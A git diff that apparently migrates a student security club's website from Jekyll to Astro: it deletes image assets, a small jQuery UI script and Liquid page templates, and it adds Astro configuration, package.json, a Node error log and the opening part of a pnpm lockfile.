Binary files a/assets/images/2023eboard/anthonyi.png and /dev/null differ diff --git a/assets/images/2023eboard/chasek.jpg b/assets/images/2023eboard/chasek.jpg deleted file mode 100644 index 5a9fd2bb..00000000 Binary files a/assets/images/2023eboard/chasek.jpg and /dev/null differ diff --git a/assets/images/2023eboard/jacka.jpg b/assets/images/2023eboard/jacka.jpg deleted file mode 100644 index a5f70589..00000000 Binary files a/assets/images/2023eboard/jacka.jpg and /dev/null differ diff --git a/assets/images/2023eboard/kaseyk.jpg b/assets/images/2023eboard/kaseyk.jpg deleted file mode 100644 index 8291a762..00000000 Binary files a/assets/images/2023eboard/kaseyk.jpg and /dev/null differ diff --git a/assets/images/2023eboard/kennetha.jpg b/assets/images/2023eboard/kennetha.jpg deleted file mode 100644 index 2bbfe410..00000000 Binary files a/assets/images/2023eboard/kennetha.jpg and /dev/null differ diff --git a/assets/images/2023eboard/michaels.jpg b/assets/images/2023eboard/michaels.jpg deleted file mode 100644 index 41ea9745..00000000 Binary files a/assets/images/2023eboard/michaels.jpg and /dev/null differ diff --git a/assets/images/2023eboard/rachell.jpg b/assets/images/2023eboard/rachell.jpg deleted file mode 100644 index 4ddc3cce..00000000 Binary files a/assets/images/2023eboard/rachell.jpg and /dev/null differ diff --git a/assets/images/2023eboard/rainaf.jpg b/assets/images/2023eboard/rainaf.jpg deleted file mode 100644 index c2fd20fd..00000000 Binary files a/assets/images/2023eboard/rainaf.jpg and /dev/null differ diff --git a/assets/images/2023eboard/rossm.png b/assets/images/2023eboard/rossm.png deleted file mode 100644 index c81fbf38..00000000 Binary files a/assets/images/2023eboard/rossm.png and /dev/null differ diff --git a/assets/images/2023eboard/sophiel.jpg b/assets/images/2023eboard/sophiel.jpg deleted file mode 100644 index 6d0c1c6a..00000000 Binary files a/assets/images/2023eboard/sophiel.jpg and /dev/null differ diff --git a/assets/images/2023eboard/zachprice.jpg b/assets/images/2023eboard/zachprice.jpg deleted file mode 100644 index c8a4378d..00000000 Binary files a/assets/images/2023eboard/zachprice.jpg and /dev/null differ diff --git a/assets/images/2024eboard/alexn.jpg b/assets/images/2024eboard/alexn.jpg deleted file mode 100644 index d174206a..00000000 Binary files a/assets/images/2024eboard/alexn.jpg and /dev/null differ diff --git a/assets/images/2024eboard/chasek.jpg b/assets/images/2024eboard/chasek.jpg deleted file mode 100644 index 85328aad..00000000 Binary files a/assets/images/2024eboard/chasek.jpg and /dev/null differ diff --git a/assets/images/2024eboard/dan.png b/assets/images/2024eboard/dan.png deleted file mode 100644 index 51ebbbb1..00000000 Binary files a/assets/images/2024eboard/dan.png and /dev/null differ diff --git a/assets/images/2024eboard/david.png b/assets/images/2024eboard/david.png deleted file mode 100644 index e523738d..00000000 Binary files a/assets/images/2024eboard/david.png and /dev/null differ diff --git a/assets/images/2024eboard/drew.jpeg b/assets/images/2024eboard/drew.jpeg deleted file mode 100644 index 4ffe9871..00000000 Binary files a/assets/images/2024eboard/drew.jpeg and /dev/null differ diff --git a/assets/images/2024eboard/kip.jpg b/assets/images/2024eboard/kip.jpg deleted file mode 100644 index 913bf274..00000000 Binary files a/assets/images/2024eboard/kip.jpg and /dev/null differ diff --git a/assets/images/2024eboard/leah.jpg b/assets/images/2024eboard/leah.jpg deleted file mode 100644 index 8e410b6a..00000000 Binary files a/assets/images/2024eboard/leah.jpg and /dev/null differ diff --git a/assets/images/2024eboard/lukas.jpg b/assets/images/2024eboard/lukas.jpg deleted file mode 100644 index 8e8c8818..00000000 Binary files a/assets/images/2024eboard/lukas.jpg and /dev/null differ diff --git a/assets/images/2024eboard/maxim.png b/assets/images/2024eboard/maxim.png deleted file mode 100644 index 0ce800af..00000000 Binary files a/assets/images/2024eboard/maxim.png and /dev/null differ diff --git a/assets/images/2024eboard/testing.txt b/assets/images/2024eboard/testing.txt deleted file mode 100644 index 872701f1..00000000 --- a/assets/images/2024eboard/testing.txt +++ /dev/null @@ -1 +0,0 @@ -testing this diff --git a/assets/images/2024eboard/will.jpg b/assets/images/2024eboard/will.jpg deleted file mode 100644 index dc515b71..00000000 Binary files a/assets/images/2024eboard/will.jpg and /dev/null differ diff --git a/assets/images/2024eboard/will2.0.jpg b/assets/images/2024eboard/will2.0.jpg deleted file mode 100644 index fbe28998..00000000 Binary files a/assets/images/2024eboard/will2.0.jpg and /dev/null differ diff --git a/assets/images/2024eboard/yonmo.jpeg b/assets/images/2024eboard/yonmo.jpeg deleted file mode 100644 index a5198c88..00000000 Binary files a/assets/images/2024eboard/yonmo.jpeg and /dev/null differ diff --git a/assets/images/2025eboard/John.jpg b/assets/images/2025eboard/John.jpg deleted file mode 100644 index 28d0cf8b..00000000 Binary files a/assets/images/2025eboard/John.jpg and /dev/null differ diff --git a/assets/images/bg-dark.svg b/assets/images/bg-dark.svg deleted file mode 100644 index 186ab8fc..00000000 --- a/assets/images/bg-dark.svg +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/assets/images/bg-light.svg b/assets/images/bg-light.svg deleted file mode 100644 index 00674a80..00000000 --- a/assets/images/bg-light.svg +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/assets/images/cfe.jpg b/assets/images/cfe.jpg deleted file mode 100644 index 299788df..00000000 Binary files a/assets/images/cfe.jpg and /dev/null differ diff --git a/assets/images/ctf_22.png b/assets/images/ctf_22.png deleted file mode 100644 index 6de55578..00000000 Binary files a/assets/images/ctf_22.png and /dev/null differ diff --git a/assets/images/education.jpg b/assets/images/education.jpg deleted file mode 100644 index f1d35163..00000000 Binary files a/assets/images/education.jpg and /dev/null differ diff --git a/assets/images/favicon.ico b/assets/images/favicon.ico deleted file mode 100644 index cdd2ae4d..00000000 Binary files a/assets/images/favicon.ico and /dev/null differ diff --git a/assets/images/irsec2021.jpeg b/assets/images/irsec2021.jpeg deleted file mode 100644 index c71b3fe6..00000000 Binary files a/assets/images/irsec2021.jpeg and /dev/null differ diff --git a/assets/images/irsec2022.jpg b/assets/images/irsec2022.jpg deleted file mode 100644 index c2818232..00000000 Binary files a/assets/images/irsec2022.jpg and /dev/null differ diff --git a/assets/images/irsec2023.JPG b/assets/images/irsec2023.JPG deleted file mode 100644 index 32fd6275..00000000 Binary files a/assets/images/irsec2023.JPG and /dev/null differ diff --git a/assets/images/ists2022.JPG b/assets/images/ists2022.JPG deleted file mode 100644 index 87644b49..00000000 Binary files a/assets/images/ists2022.JPG and /dev/null differ diff --git a/assets/images/ists2023.jpg b/assets/images/ists2023.jpg deleted file mode 100644 index da146869..00000000 Binary files a/assets/images/ists2023.jpg and /dev/null differ diff --git a/assets/images/ists2024.jpg b/assets/images/ists2024.jpg deleted file mode 100644 index f2eb0ce0..00000000 Binary files a/assets/images/ists2024.jpg and /dev/null differ diff --git a/assets/images/meta.jpeg b/assets/images/meta.jpeg deleted file mode 100644 index d9843c46..00000000 Binary files a/assets/images/meta.jpeg and /dev/null differ diff --git a/assets/images/research.jpg b/assets/images/research.jpg deleted file mode 100644 index d395c878..00000000 Binary files a/assets/images/research.jpg and /dev/null differ diff --git a/assets/images/ritsec_ctf_2023_1024.png b/assets/images/ritsec_ctf_2023_1024.png deleted file mode 100644 index ebd79308..00000000 Binary files a/assets/images/ritsec_ctf_2023_1024.png and /dev/null differ diff --git a/assets/images/ritsec_ctf_2024.jpg b/assets/images/ritsec_ctf_2024.jpg deleted file mode 100644 index f68bef1d..00000000 Binary files a/assets/images/ritsec_ctf_2024.jpg and /dev/null differ diff --git a/assets/images/ritsec_ctf_2025.svg b/assets/images/ritsec_ctf_2025.svg deleted file mode 100644 index 18378ece..00000000 --- a/assets/images/ritsec_ctf_2025.svg +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/assets/images/ritsec_fall.png b/assets/images/ritsec_fall.png deleted file mode 100644 index 6dc18252..00000000 Binary files a/assets/images/ritsec_fall.png and /dev/null differ diff --git a/assets/images/ritsec_logo_final-07.png b/assets/images/ritsec_logo_final-07.png deleted file mode 100644 index 38ea9875..00000000 Binary files a/assets/images/ritsec_logo_final-07.png and /dev/null differ diff --git a/assets/js/index.js b/assets/js/index.js deleted file mode 100644 index 6b4ed8db..00000000 --- a/assets/js/index.js +++ /dev/null @@ -1,66 +0,0 @@ -// Header -$(window).scroll(function () { - var scroll = $(window).scrollTop(); - - if (scroll >= 80) { - $(".header").addClass("border-bottom"); - } else { - $(".header").removeClass("border-bottom"); - } -}); - -(() => { - $(".navbar-burger").click(() => { - $(".navbar-links").toggleClass("navbar-active"); - $(".navbar-burger").toggleClass("navbar-burger-active"); - - $(".navbar-links li").each((i, el) => { - if (el.style.animation) { - el.style.animation = ""; - } else { - el.style.animation = `navbar-link-fade 0.5s ease forwards 0.2s`; - } - }); - }); -})(); - -// Slideshow -$("#slideshow > img:gt(0)").hide(); - -setInterval(function () { - $("#slideshow > img:first") - .fadeOut(1000) - .next() - .fadeIn(1000) - .end() - .appendTo("#slideshow"); -}, 5000); - -//Dark Light Toggle -toggleButton = document.querySelector("#toggle-mode") -function isLight() { - return localStorage.getItem("light-mode"); -} -function toggleRootClass() { - document.documentElement.classList.toggle('light'); -} -function toggleLocalStorageItem() { - if (isLight()) { - localStorage.removeItem("light-mode"); - } else { - localStorage.setItem("light-mode", "set"); - } -} -if (isLight()) { - toggleRootClass(); - toggleButton.checked = true; -} -toggleButton.addEventListener("click", () => { - toggleLocalStorageItem(); - toggleRootClass(); -}); - - -// window.addEventListener('scroll', function() { -// document.body.style.backgroundPositionY = -window.pageYOffset/8 + "px"; -// }); diff --git a/astro.config.mjs b/astro.config.mjs new file mode 100644 index 00000000..543c9526 --- /dev/null +++ b/astro.config.mjs @@ -0,0 +1,17 @@ +// @ts-check +import { defineConfig } from "astro/config"; + +import mdx from "@astrojs/mdx"; + +import expressiveCode from "astro-expressive-code"; + +import react from "@astrojs/react"; + +import sitemap from "@astrojs/sitemap"; + +// https://astro.build/config +export default defineConfig({ + site: "https://aeshus.github.io", + base: "/ritsec.github.io", + integrations: [expressiveCode(), mdx(), react(), sitemap()], +}); diff --git a/import_log.txt b/import_log.txt new file mode 100644 index 00000000..85f0f7b4 --- /dev/null +++ b/import_log.txt @@ -0,0 +1,12 @@ +file:///home/aeshus/Projects/ritsec.github.io/import_videos.js:1 +const fs = require('fs'); + ^ + +ReferenceError: require is not defined in ES module scope, you can use import instead +This file is being treated as an ES module because it has a '.js' file extension and '/home/aeshus/Projects/ritsec.github.io/package.json' contains "type": "module". To treat it as a CommonJS script, rename it to use the '.cjs' file extension. + at file:///home/aeshus/Projects/ritsec.github.io/import_videos.js:1:12 + at ModuleJob.run (node:internal/modules/esm/module_job:413:25) + at async onImport.tracePromise.__proto__ (node:internal/modules/esm/loader:654:26) + at async asyncRunEntryPointWithESMLoader (node:internal/modules/run_main:101:5) + +Node.js v25.2.1 diff --git a/package.json b/package.json new file mode 100644 index 00000000..e829150f --- /dev/null +++ b/package.json @@ -0,0 +1,38 @@ +{ + "name": "ritsec-github-io", + "type": "module", + "version": "0.0.1", + "scripts": { + "dev": "astro dev", + "build": "astro build", + "preview": "astro preview", + "astro": "astro" + }, + "dependencies": { + "@astrojs/check": "^0.9.6", + "@astrojs/mdx": "^4.3.13", + "@astrojs/react": "^4.4.2", + "@astrojs/sitemap": "^3.7.0", + "@fontsource/ibm-plex-mono": "^5.2.7", + "@fontsource/ibm-plex-sans": "^5.2.8", + "@lucide/astro": "^0.562.0", + "@resvg/resvg-js": "^2.6.2", + "@types/react": "^19.2.7", + "@types/react-dom": "^19.2.3", + "astro": "^5.16.4", + "astro-expressive-code": "^0.41.5", + "embla-carousel": "^8.6.0", + "embla-carousel-auto-scroll": "^8.6.0", + "embla-carousel-autoplay": "^8.6.0", + "embla-carousel-fade": "^8.6.0", + "react": "^19.2.3", + "react-dom": "^19.2.3", + "satori": "^0.19.1", + "sharp": "^0.34.5", + "typescript": "^5.9.3" + }, + "devDependencies": { + "prettier": "^3.7.4", + "prettier-plugin-astro": "^0.14.1" + } +} diff --git a/pages/404.html b/pages/404.html deleted file mode 100644 index 214d2dd2..00000000 --- a/pages/404.html +++ /dev/null @@ -1,23 +0,0 @@ ---- -layout: default ---- - - - -
-

404

- -

Page not found

-
diff --git a/pages/about.html b/pages/about.html deleted file mode 100644 index 43338bc4..00000000 --- a/pages/about.html +++ /dev/null @@ -1,115 +0,0 @@ ---- -layout: default -title: About -permalink: /about.html ---- - -{%- assign about_section = site.data.about.sections[0] -%} {%- assign -members_section = site.data.about.sections[1] -%} {%- assign socials_section = site.data.about.sections[2] -%} -
- -
-
{{ about_section.title }}
-
-
{{ about_section.description }}
-
-
- -
-
{{ members_section.title }}
-
-
{{ members_section.description }}
-
-
-
- {%- for member in members_section.members -%} -
-
- {{ member.name }} avatar -
-
-
- {{member.name}} - '{{member.grad_year}} -
-
{{member.position}}
{{member.pronouns}}
-
- {%- if member.socials.github -%} - - - - - - - {%- endif -%} {%- if member.socials.linkedin -%} - - - - - - - - {%- endif -%} {%- if member.socials.email -%} - - - - - - - {%- endif -%} {%- if member.socials.other -%} - - - - - - - {%- endif -%} -
-
-
- {%- endfor -%} -
-
-
-
-
Legacy E-Boards
-
- {%- for eboard in site.data.about.past_eboards -%} -
-
{{ eboard.year }}
- {%- if eboard.multi_org -%} -
- {%- for org in eboard.organizations -%} -
-
{{ org.org_name }}
-
- {%- for member in org.members -%} -
{{ member.position }}: {{ member.name }}
- {%- endfor -%} -
-
- {%- endfor -%} -
- {%- else -%} -
{{ eboard.org_name }}
-
- {%- for member in eboard.members -%} -
{{ member.position }}: {{ member.name }}
- {%- endfor -%} -
- {%- endif -%} -
- {%- endfor -%} -
-
-
diff --git a/pages/alumni.html b/pages/alumni.html deleted file mode 100644 index 334294f4..00000000 --- a/pages/alumni.html +++ /dev/null @@ -1,27 +0,0 @@ ---- -layout: default -title: Alumni -permalink: /alumni.html ---- - -{%- assign data = site.data.alumni -%} {%- assign alumni = site.data.alumni.alumni | group_by:"year" | sort: "name" | reverse -%} -
- {%- for section in data.sections -%} -
-
{{ section.title }}
-
{{ section.description }}
-
- {%- for grad_year in alumni -%} -
-
{{ grad_year.name }}
-
- {%- for alum in grad_year.items -%} -
{{ alum.name }}
- {%- endfor -%} -
-
- {%- endfor -%} -
-
- {%- endfor -%} -
diff --git a/pages/education.html b/pages/education.html deleted file mode 100644 index bca4bde2..00000000 --- a/pages/education.html +++ /dev/null @@ -1,49 +0,0 @@ ---- -layout: default -title: Education -permalink: /education.html ---- - -{%- assign data = site.data.education -%} -
- {%- for section in data.sections -%} -
-
{{ section.title }}
-
{{ section.description }}
-
- {%- for set in section.sets reversed -%} -
-
{{set.title}}
-
{{set.description}}
-
- {%- for lesson in set.lessons -%} - {%- if lesson.url -%} - - {%- else -%} - - {%- endif -%} - - - - {%- endfor -%} -
-
- {%- endfor -%} -
-
- {%- endfor -%} -
diff --git a/pages/events.html b/pages/events.html deleted file mode 100644 index f43a2b45..00000000 --- a/pages/events.html +++ /dev/null @@ -1,50 +0,0 @@ ---- -layout: default -title: Events -permalink: /events.html ---- - -{%- assign data = site.data.events -%} -
- {%- for section in data.sections -%} -
-
{{ section.title }}
-
{{ section.description }}
- -
-
- {%- for event in section.events -%} -
-
- {{ event.title }} image -
-
-
-
{{event.title}}
-
-
{{event.date}}
-
{{event.location}}
-
-
- {%- if event.url -%} - - {%- endif -%} -
-
- {%- endfor -%} -
-
-
- {%- endfor -%} -
diff --git a/pages/gallery.html b/pages/gallery.html deleted file mode 100644 index 73e1327a..00000000 --- a/pages/gallery.html +++ /dev/null @@ -1,30 +0,0 @@ ---- -layout: default -title: Gallery -permalink: /gallery.html ---- - -{%- assign data = site.data.gallery -%} -
- {%- for section in data.sections -%} - - {%- endfor -%} -
diff --git a/pages/groups.html b/pages/groups.html deleted file mode 100644 index d23ce0db..00000000 --- a/pages/groups.html +++ /dev/null @@ -1,78 +0,0 @@ ---- -layout: default -title: Groups -permalink: /groups.html ---- - -{%- assign about_section = site.data.groups.sections[0] -%} -{%- assign partnerships_section = site.data.groups.sections[1] -%} -{%- assign competition_teams_section = site.data.groups.sections[2] -%} -{%- assign interest_groups_section = site.data.groups.sections[3] -%} - -
- -
-
{{ about_section.title }}
-
- - - -
-
{{ partnerships_section.title }}
-
- {%- for group in partnerships_section.groups -%} -
-
-
{{ group.name }}
-
{{ group.meeting_time }}
-
-
-
{{ group.description }}
- {%- if group.url -%} - {{ group.url-title }} - {%- endif -%} -
- {%- endfor -%} -
-
- - -
-
{{ competition_teams_section.title }}
-
- {%- for group in competition_teams_section.groups -%} -
-
-
{{ group.name }}
-
{{ group.meeting_time }}
-
-
-
{{ group.description }}
- {%- if group.url -%} - {{ group.url-title }} - {%- endif -%} -
- {%- endfor -%} -
-
- - -
-
{{ interest_groups_section.title }}
-
- {%- for group in interest_groups_section.groups -%} -
-
-
{{ group.name }}
-
{{ group.meeting_time }}
-
-
-
{{ group.description }}
- {%- if group.url -%} - {{ group.url-title }} - {%- endif -%} -
- {%- endfor -%} -
-
-
\ No newline at end of file diff --git a/pages/index.html b/pages/index.html deleted file mode 100644 index 45319a2d..00000000 --- a/pages/index.html +++ /dev/null @@ -1,110 +0,0 @@ ---- -layout: default -title: Home -permalink: / ---- - -{%- assign sections = site.data.home.sections -%} {%- assign intro_section_data = sections[0] -%} {%- assign about_section_data = -sections[1] -%} {%- assign events_section_data = sections[2] -%} {%- assign sponsors_section_data = sections[3] -%} {%- assign -join_section_data = sections[4] -%} {%- assign events_data = site.data.events.sections[0] -%} {%- assign sponsors_data = -site.data.sponsors.sections[0] -%} - -
- -
-
{{ intro_section_data.title }}
-
{{ intro_section_data.description }}
-
-
- {%- for imageUrl in intro_section_data.slideshow -%} {%- if imageUrl -%} - slideshow-img - {%- endif -%} {%- endfor -%} -
-
-
-
- -
-
-
- -
-
-
-
-
- {%- if join_section_data.title -%} -
{{ join_section_data.title }}
- {%- endif -%}{%- if join_section_data.buttons -%} {%- for button in join_section_data.buttons -%} - {{ button.content }} - {%- endfor -%} {%- endif -%} -
-
-
-
- -
-
-
-
-
- {%- if about_section_data.title -%} -
{{ about_section_data.title }}
- {%- endif -%} {%- if about_section_data.description -%} -
{{ about_section_data.description }}
- {%- endif -%} {%- if about_section_data.buttons -%} -
- {%- for button in about_section_data.buttons -%} - {{ button.content }} - {%- endfor -%} -
- {%- endif -%} -
-
-
-
-
- -
- -
-
{{events_section_data.title}}
- {%- assign events = events_data.events | slice: 0, 4 -%} {%- if events.size > 0 -%} -
- {%- for event in events -%} - -
-
{{event.title}}
-
{{event.date}} - {{event.location}}
-
- -
- {%- endfor -%} -
- {%- else -%} -
{{events_section_data.empty_message}}
- {%- endif -%} -
- - -
-
diff --git a/pages/links.html b/pages/links.html deleted file mode 100644 index 13a4283f..00000000 --- a/pages/links.html +++ /dev/null @@ -1,43 +0,0 @@ ---- -layout: default -title: Links -permalink: /links.html ---- - -{%- assign data = site.data.links -%} -
- {%- for section in data.sections -%} - - {%- endfor -%} -
diff --git a/pages/sponsors.html b/pages/sponsors.html deleted file mode 100644 index ac3a3a5f..00000000 --- a/pages/sponsors.html +++ /dev/null @@ -1,41 +0,0 @@ ---- -layout: default -title: Sponsors -permalink: /sponsors.html ---- - -{%- assign data = site.data.sponsors -%} -
- {%- for section in data.sections -%} -
-
{{ section.title }}
-
{{ section.description }}
- -
-
- {%- for tier in section.tier -%} - - {%- endfor -%} -
-
-
- {%- endfor -%} -
diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml new file mode 100644 index 00000000..112887e7 --- /dev/null +++ b/pnpm-lock.yaml @@ -0,0 +1,5366 @@ +lockfileVersion: '9.0' + +settings: + autoInstallPeers: true + excludeLinksFromLockfile: false + +importers: + + .: + dependencies: + '@astrojs/check': + specifier: ^0.9.6 + version: 0.9.6(prettier-plugin-astro@0.14.1)(prettier@3.7.4)(typescript@5.9.3) + '@astrojs/mdx': + specifier: ^4.3.13 + version: 4.3.13(astro@5.16.4(@types/node@24.10.2)(rollup@4.53.3)(typescript@5.9.3)(yaml@2.8.2)) + '@astrojs/react': + specifier: ^4.4.2 + version: 4.4.2(@types/node@24.10.2)(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)(yaml@2.8.2) + '@astrojs/sitemap': + specifier: ^3.7.0 + version: 3.7.0 + '@fontsource/ibm-plex-mono': + specifier: ^5.2.7 + version: 5.2.7 + '@fontsource/ibm-plex-sans': + specifier: ^5.2.8 + version: 5.2.8 + '@lucide/astro': + specifier: ^0.562.0 + version: 0.562.0(astro@5.16.4(@types/node@24.10.2)(rollup@4.53.3)(typescript@5.9.3)(yaml@2.8.2)) + '@resvg/resvg-js': + specifier: ^2.6.2 + version: 2.6.2 + '@types/react': + specifier: ^19.2.7 + version: 19.2.7 + '@types/react-dom': + specifier: ^19.2.3 + version: 19.2.3(@types/react@19.2.7) + astro: + specifier: ^5.16.4 + version: 5.16.4(@types/node@24.10.2)(rollup@4.53.3)(typescript@5.9.3)(yaml@2.8.2) + astro-expressive-code: + specifier: ^0.41.5 + version: 0.41.5(astro@5.16.4(@types/node@24.10.2)(rollup@4.53.3)(typescript@5.9.3)(yaml@2.8.2)) + embla-carousel: + specifier: ^8.6.0 + version: 8.6.0 + embla-carousel-auto-scroll: + specifier: ^8.6.0 + version: 8.6.0(embla-carousel@8.6.0) + embla-carousel-autoplay: + specifier: ^8.6.0 + version: 8.6.0(embla-carousel@8.6.0) + embla-carousel-fade: + specifier: ^8.6.0 + version: 8.6.0(embla-carousel@8.6.0) + react: + specifier: ^19.2.3 + version: 19.2.3 + react-dom: + specifier: ^19.2.3 + version: 19.2.3(react@19.2.3) + satori: + specifier: ^0.19.1 + version: 0.19.1 + sharp: + specifier: ^0.34.5 + version: 0.34.5 + typescript: + specifier: ^5.9.3 + version: 5.9.3 + devDependencies: + prettier: + specifier: ^3.7.4 + version: 3.7.4 + prettier-plugin-astro: + specifier: ^0.14.1 + version: 0.14.1 + +packages: + + '@astrojs/check@0.9.6': + resolution: {integrity: sha512-jlaEu5SxvSgmfGIFfNgcn5/f+29H61NJzEMfAZ82Xopr4XBchXB1GVlcJsE+elUlsYSbXlptZLX+JMG3b/wZEA==} + hasBin: true + peerDependencies: + typescript: ^5.0.0 + + '@astrojs/compiler@2.13.0': + resolution: {integrity: sha512-mqVORhUJViA28fwHYaWmsXSzLO9osbdZ5ImUfxBarqsYdMlPbqAqGJCxsNzvppp1BEzc1mJNjOVvQqeDN8Vspw==} + + '@astrojs/internal-helpers@0.7.5': + resolution: {integrity: sha512-vreGnYSSKhAjFJCWAwe/CNhONvoc5lokxtRoZims+0wa3KbHBdPHSSthJsKxPd8d/aic6lWKpRTYGY/hsgK6EA==} + + '@astrojs/language-server@2.16.3': + resolution: {integrity: sha512-yO5K7RYCMXUfeDlnU6UnmtnoXzpuQc0yhlaCNZ67k1C/MiwwwvMZz+LGa+H35c49w5QBfvtr4w4Zcf5PcH8uYA==} + hasBin: true + peerDependencies: + prettier: ^3.0.0 + prettier-plugin-astro: '>=0.11.0' + peerDependenciesMeta: + prettier: + optional: true + prettier-plugin-astro: + optional: true + + '@astrojs/markdown-remark@6.3.10': + resolution: {integrity: sha512-kk4HeYR6AcnzC4QV8iSlOfh+N8TZ3MEStxPyenyCtemqn8IpEATBFMTJcfrNW32dgpt6MY3oCkMM/Tv3/I4G3A==} + + '@astrojs/markdown-remark@6.3.9': + resolution: {integrity: sha512-hX2cLC/KW74Io1zIbn92kI482j9J7LleBLGCVU9EP3BeH5MVrnFawOnqD0t/q6D1Z+ZNeQG2gNKMslCcO36wng==} + + '@astrojs/mdx@4.3.13': + resolution: {integrity: sha512-IHDHVKz0JfKBy3//52JSiyWv089b7GVSChIXLrlUOoTLWowG3wr2/8hkaEgEyd/vysvNQvGk+QhysXpJW5ve6Q==} + engines: {node: 18.20.8 || ^20.3.0 || >=22.0.0} + peerDependencies: + astro: ^5.0.0 + + '@astrojs/prism@3.3.0': + resolution: {integrity: sha512-q8VwfU/fDZNoDOf+r7jUnMC2//H2l0TuQ6FkGJL8vD8nw/q5KiL3DS1KKBI3QhI9UQhpJ5dc7AtqfbXWuOgLCQ==} + engines: {node: 18.20.8 || ^20.3.0 || >=22.0.0} + + '@astrojs/react@4.4.2': + resolution: {integrity: sha512-1tl95bpGfuaDMDn8O3x/5Dxii1HPvzjvpL2YTuqOOrQehs60I2DKiDgh1jrKc7G8lv+LQT5H15V6QONQ+9waeQ==} + engines: {node: 18.20.8 || ^20.3.0 || >=22.0.0} + peerDependencies: + '@types/react': ^17.0.50 || ^18.0.21 || ^19.0.0 + '@types/react-dom': ^17.0.17 || ^18.0.6 || ^19.0.0 + react: ^17.0.2 || ^18.0.0 || ^19.0.0 + react-dom: ^17.0.2 || ^18.0.0 || ^19.0.0 + + '@astrojs/sitemap@3.7.0': + resolution: {integrity: sha512-+qxjUrz6Jcgh+D5VE1gKUJTA3pSthuPHe6Ao5JCxok794Lewx8hBFaWHtOnN0ntb2lfOf7gvOi9TefUswQ/ZVA==} + + '@astrojs/telemetry@3.3.0': + resolution: {integrity: sha512-UFBgfeldP06qu6khs/yY+q1cDAaArM2/7AEIqQ9Cuvf7B1hNLq0xDrZkct+QoIGyjq56y8IaE2I3CTvG99mlhQ==} + engines: {node: 18.20.8 || ^20.3.0 || >=22.0.0} + + '@astrojs/yaml2ts@0.2.2': + resolution: {integrity: sha512-GOfvSr5Nqy2z5XiwqTouBBpy5FyI6DEe+/g/Mk5am9SjILN1S5fOEvYK0GuWHg98yS/dobP4m8qyqw/URW35fQ==} + + '@babel/code-frame@7.27.1': + resolution: {integrity: sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg==} + engines: {node: '>=6.9.0'} + + '@babel/compat-data@7.28.5': + resolution: {integrity: sha512-6uFXyCayocRbqhZOB+6XcuZbkMNimwfVGFji8CTZnCzOHVGvDqzvitu1re2AU5LROliz7eQPhB8CpAMvnx9EjA==} + engines: {node: '>=6.9.0'} + + '@babel/core@7.28.5': + resolution: {integrity: sha512-e7jT4DxYvIDLk1ZHmU/m/mB19rex9sv0c2ftBtjSBv+kVM/902eh0fINUzD7UwLLNR+jU585GxUJ8/EBfAM5fw==} + engines: {node: '>=6.9.0'} + + '@babel/generator@7.28.5': + resolution: {integrity: sha512-3EwLFhZ38J4VyIP6WNtt2kUdW9dokXA9Cr4IVIFHuCpZ3H8/YFOl5JjZHisrn1fATPBmKKqXzDFvh9fUwHz6CQ==} + engines: {node: '>=6.9.0'} + + '@babel/helper-compilation-targets@7.27.2': + resolution: {integrity: sha512-2+1thGUUWWjLTYTHZWK1n8Yga0ijBz1XAhUXcKy81rd5g6yh7hGqMp45v7cadSbEHc9G3OTv45SyneRN3ps4DQ==} + engines: {node: '>=6.9.0'} + + '@babel/helper-globals@7.28.0': + resolution: {integrity: sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw==} + engines: {node: '>=6.9.0'} + + '@babel/helper-module-imports@7.27.1': + resolution: {integrity: sha512-0gSFWUPNXNopqtIPQvlD5WgXYI5GY2kP2cCvoT8kczjbfcfuIljTbcWrulD1CIPIX2gt1wghbDy08yE1p+/r3w==} + engines: {node: '>=6.9.0'} + + '@babel/helper-module-transforms@7.28.3': + resolution: {integrity: sha512-gytXUbs8k2sXS9PnQptz5o0QnpLL51SwASIORY6XaBKF88nsOT0Zw9szLqlSGQDP/4TljBAD5y98p2U1fqkdsw==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0 + + '@babel/helper-plugin-utils@7.27.1': + resolution: {integrity: sha512-1gn1Up5YXka3YYAHGKpbideQ5Yjf1tDa9qYcgysz+cNCXukyLl6DjPXhD3VRwSb8c0J9tA4b2+rHEZtc6R0tlw==} + engines: {node: '>=6.9.0'} + + '@babel/helper-string-parser@7.27.1': + resolution: {integrity: sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==} + engines: {node: '>=6.9.0'} + + '@babel/helper-validator-identifier@7.28.5': + resolution: {integrity: sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q==} + engines: {node: '>=6.9.0'} + + '@babel/helper-validator-option@7.27.1': + resolution: {integrity: sha512-YvjJow9FxbhFFKDSuFnVCe2WxXk1zWc22fFePVNEaWJEu8IrZVlda6N0uHwzZrUM1il7NC9Mlp4MaJYbYd9JSg==} + engines: {node: '>=6.9.0'} + + '@babel/helpers@7.28.4': + resolution: {integrity: sha512-HFN59MmQXGHVyYadKLVumYsA9dBFun/ldYxipEjzA4196jpLZd8UjEEBLkbEkvfYreDqJhZxYAWFPtrfhNpj4w==} + engines: {node: '>=6.9.0'} + + '@babel/parser@7.28.5': + resolution: {integrity: sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ==} + engines: {node: '>=6.0.0'} + hasBin: true + + '@babel/plugin-transform-react-jsx-self@7.27.1': + resolution: {integrity: sha512-6UzkCs+ejGdZ5mFFC/OCUrv028ab2fp1znZmCZjAOBKiBK2jXD1O+BPSfX8X2qjJ75fZBMSnQn3Rq2mrBJK2mw==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + 